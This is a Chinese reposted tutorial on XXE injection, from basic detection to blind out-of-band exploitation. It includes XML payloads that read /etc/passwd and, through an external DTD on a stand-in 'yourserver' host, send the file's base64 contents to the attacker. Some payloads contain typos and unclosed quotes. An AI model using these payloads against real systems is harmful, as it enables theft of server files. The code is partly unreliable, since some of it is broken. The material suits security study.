【技巧总结】理解XXE从基础到盲打
原文:http://agrawalsmart7.com/2018/11/10/Understanding-XXE-from-Basic-to-Blind.html
这篇文章中将讨论以下问题。
XXE是什么?如何确认XXE?如何利用基本XXE?如何盲打XXE?以及盲打XXE有效载荷的备选方案。
首先要了解一些基本的关键词。
实体:实体引用充当缩写或可以在外部位置找到的数据。语法:&test
;
最常见的实体是:
内部实体:如果实体在DTD内声明,则称为内部实体。
语法:<!ENTITY entity_name "entity_value">
外部实体:如果实体在DTD之外声明,则称为外部实体。由“系统”标识。
语法:<!ENTITY entity_name SYSTEM "entity_value">
参数实体:参数实体的目的是能够创建替换文本的可重用部分。(如果不理解,以后会更清楚。)
语法:<!ENTITY % entity "another entity (Internal or External)">
XXE是什么?
XXE是XML External Entity的简称,在错误配置XML解析器解析内部实体时出现的漏洞。XXE有两种类型:
- 1、基础
- 2、盲打
基础一:
有一个URL参数解析了XML数据,如:http://myapp.com/somefile.php?xml=
当向这个URL提供XML数据时,并且该数据打印回用户的浏览器,就可以尝试基础的XXE。确认漏洞的存在可以利用以下的方法:
Payload 1:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM 'http://yourserverip/'>]>
<root>&test;</root>
现在来理解原理。
1、首先声明XML语法,定义DOCTYPE后再定义XML主体的内容。
2、在DOCTYPE(即root)之后定义根元素,接下来定义实体,该实体包含SYSTEM属性,表明该实体是外部的。
3、定义服务器的ip,因为要让目标服务器向攻击者的服务器发送请求。
当Payload被XML解析,存在漏洞的XML解析方式会解析实体&test
,然后实体中对应的是攻击者的服务器IP,所以将通过向攻击者服务器IP请求的方式处理外部实体。
所以如果攻击者的服务器在网络日志文件中有一个新的连接,那么就可以确认找到了XXE漏洞。
利用漏洞:
读取Web服务器的本地文件,可以使用以下有效载荷来完成。
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
XML解析器将像上面一样处理这个Payload,但现在不会向攻击者的服务器发送请求,而是使用文件协议在本地请求/etc/passwd
文件,检索出文件内容并显示出来。 因此攻击者可以读取这台WEB服务器的本地文件。
如果XML数据没有显示内容该怎么办?(Blind XXE Case)
仍然可以通过使用上面的第一个Payload来确认漏洞的存在。但是不能看到Web服务器本地文件的文件内容。这仍然是一个安全问题,但严重性有点低。而且这被称为 Blind XXE 或Out-of-band XXE。
这意味着攻击者必须使用Bild Paylod,将WEB服务器的本地文件内容发送到攻击者的服务器。
Payload 2:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % test SYSTEM 'http://yourserver/xml.dtd'> %test; %exe]>
<root>&entity;</root>
xml.dtd 内容:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTIY % exe "<!ENTITY entity SYSTEM 'http://yourserver/%file;'>">
理解上述代码:
以上代码使用的是外部DTD文件,即%test
。因此xml解析器将解析这个实体并向攻击者的WEB服务器发出请求获取DTD文件的内容。而那个DTD文件中攻击者定义了一些要处理的实体。
%exe;
将生成另一个实体,即实体&entiry
。并且该实体将使用文件内容向攻击者的服务器发出请求。 具体的文件内容是在实体%file
中的php://filter/convert.base64-encode/resource=/etc/passwd
获取的;
当xml解析器解析实体%file
时,该实体将grep受攻击的服务器本地文件的文件内容。使用php filter进行编码。
可以看一个视频了解攻击者是如何操作的。
http://agrawalsmart7.com//bandicam 2018-11-04 23-35-26-024.mp4
有人可能会产生这样的问题:为什么要从攻击者的服务器调用DTD?为什么不直接利用Payload?
Payload 3:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % filecontents SYSTEM 'file:///etc/passwd>
<!ENTITY test SYSTEM 'http://yourserver/%filecontents;'>]>
<root>&test;</root>
答案是因为根据XML_DOC,参数实体不能在DTD子集内调用,但是可以在外部子集中调用(Payload 2中的利用形式)。 这种形式使用后将提示禁止的错误。
这就是为什么不能在Payload之上运行的原因。
试试另一个有效载荷:
Payload 4:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY filecontents SYSTEM 'file:///etc/passwd>
<!ENTITY test SYSTEM 'http://yourserver/&filecontents;'>]>
<root>&test;</root>
以上这个Payload就没有任何问题,因为实体被作为字符串解析。实体应该在根标记中,如果不是就会被作为一个字符串解析。
转载于:https://www.cnblogs.com/17bdw/p/10098181.html
【技巧总结】理解XXE从基础到盲打相关推荐
- 一文带你深入理解【Java基础】· Java基本语法:程序流程控制
写在前面 Hello大家好, 我是[麟-小白],一位软件工程专业的学生,喜好计算机知识.希望大家能够一起学习进步呀!本人是一名在读大学生,专业水平有限,如发现错误或不足之处,请多多指正!谢谢大家!!! ...
- 身为程序员别再无脑学习撩妹小技巧,这篇聊天基础先记牢!
别再无脑学习撩妹小技巧,这篇聊天基础先记牢! 干货 作为一个曾经的话题废,十分理解各位的心情,这篇文章希望可以帮助所有在聊天和社交上有问题的朋友. 这是一个真实写给聊天小白的科普文. 全文分成四个阶段 ...
- 架构漫谈(二):认识概念是理解架构的基础
原文:架构漫谈(二):认识概念是理解架构的基础 架 构漫谈是由资深架构师王概凯Kevin执笔的系列专栏,专栏将会以Kevin的架构经验为基础,逐步讨论什么是架构.怎样做好架构.软件架构如何落地.如 何 ...
- 最容易理解的计算机网络 基础知识概论(下)
文章目录 1.计算机网络的分类 1.1按照传输介质分类 1.2按照网络的使用者进行分类 1.3按照网络的规模和作用范围进行分类. 2.计算机网络的性能指标 2.1 带宽 2.2 时延 2.2.1网络时 ...
- AQS理解之一,基础知识——LockSupport
AQS理解之一,基础知识--LockSupport LockSupport类位于java.util.concurrent包下. 顾名思义,就是一个实现锁的辅助类. 来看下他的类结构: 其中的变量都是通 ...
- Python 数据分析三剑客之 NumPy(一):理解 NumPy / 数组基础
CSDN 课程推荐:<Python 数据分析与挖掘>,讲师刘顺祥,浙江工商大学统计学硕士,数据分析师,曾担任唯品会大数据部担任数据分析师一职,负责支付环节的数据分析业务.曾与联想.亨氏.网 ...
- 一文带你深入理解【Java基础】· 枚举类
写在前面 Hello大家好, 我是[麟-小白],一位软件工程专业的学生,喜好计算机知识.希望大家能够一起学习进步呀!本人是一名在读大学生,专业水平有限,如发现错误或不足之处,请多多指正!谢谢大家!!! ...
- 3Dmax “工业风”机器人 硬表面卡线布线技巧 Vray灯光渲染 零基础3D建模
3Dmax "工业风"机器人 硬表面卡线布线技巧 Vray灯光渲染 零基础3D建模 祝大家学习愉快
- 一文带你深入理解【Java基础】· 面向对象编程(下)②代码块、final和abstract
写在前面 Hello大家好, 我是[麟-小白],一位软件工程专业的学生,喜好计算机知识.希望大家能够一起学习进步呀!本人是一名在读大学生,专业水平有限,如发现错误或不足之处,请多多指正!谢谢大家!!! ...
- 一文带你深入理解【Java基础】· 数组
写在前面 Hello大家好, 我是[麟-小白],一位软件工程专业的学生,喜好计算机知识.希望大家能够一起学习进步呀!本人是一名在读大学生,专业水平有限,如发现错误或不足之处,请多多指正!谢谢大家!!! ...
最新文章
- 详解:设计模式之-代理设计
- 量子计算计算机简史pdf,量子计算及其潜在应用.pdf
- mybatis接口中的方法重载_MyBatis底层实现原理: 动态代理的运用
- 如何查看所安装的jdk的版本位数
- Java LRU的实现
- Automatic Brain Tumor Segmentation using Cascaded Anisotropic Convolutional Neural Networks
- 标准IO库--unix环境高级编程读书笔记
- JAVA语言的类、对象、变量、方法等的概括说明
- Java 求一段代码运行所需要的时间——模板方法设计模式
- 如何使用 Secret?- 每天5分钟玩转 Docker 容器技术(108)
- JPA Example查询
- 计算机主机要系统,计算机系统(主机).ppt
- Orthogonal greedy algorithm降维
- Elastic 7.13.0 版重磅发布:在 Elastic 上搜索和存储更多数据
- IT经理的个人宣言:做一个好男人!
- 计算机ctrl加什么作用,ctrl是什么意思 Ctrl键的作用有哪些
- git报错 git libpng warning: iCCP以及fatal: Authentication failed for ‘https://git.weixin.qq.com‘
- PTA评测系统的常见问题
- 请编写一个程序,使用字典存储学生信息,学生信息包含学号和姓名,请根据学生学号从小到大输出学生信息
- Tachibana Kanade Loves Review(克鲁斯卡尔 最小生成树)